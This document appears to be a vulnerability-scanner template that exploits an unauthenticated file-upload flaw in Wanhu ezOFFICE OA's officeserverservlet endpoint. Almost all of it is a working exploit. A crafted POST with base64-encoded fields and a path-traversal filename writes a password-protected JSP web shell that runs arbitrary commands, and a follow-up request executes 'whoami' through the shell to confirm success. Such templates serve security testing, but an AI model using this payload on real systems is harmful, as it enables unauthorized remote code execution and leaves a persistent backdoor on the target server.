wanhu-oa-officeserverservlet-upload-file: 万户 OA 前台无条件 GETSHELL

id: wanhu-oa-officeserverservlet-upload-file

info:
  name: 万户 OA 前台无条件 GETSHELL
  author: d4m1ts
  severity: critical
  verified: true
  description: |
    141是控制从什么地方读取，300是控制读取内容的长度
    app="万户网络-ezOFFICE" && port="7001"
  reference:
    - https://rce.ink/index/view/318.go

set:
  hostname: request.url.host
rules:
  r0:
    request:
      raw: |
        POST /defaultroot/officeserverservlet HTTP/1.1
        Host: {{hostname}}
        Content-Type: application/x-www-form-urlencoded

        DBSTEP V3.0     141             0               300             DBSTEP=REJTVEVQ
        OPTION=U0FWRUZJTEU=
        RECORDID=
        isDoc=dHJ1ZQ==
        moduleType=Z292ZG9jdW1lbnQ=
        FILETYPE={{base64("../../upload/html/osias.jsp")}}
        ABCCBANNNNN<% if("osias".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
    expression: true
  r1:
    request:
      method: GET
      path: /defaultroot/upload/html/osias.jsp?pwd=osias&i=whoami
    expression: response.status == 200 && response.body.bcontains(b'ABCCBANNNNN') && response.body.bcontains(b'<pre>')
expression: r0() && r1()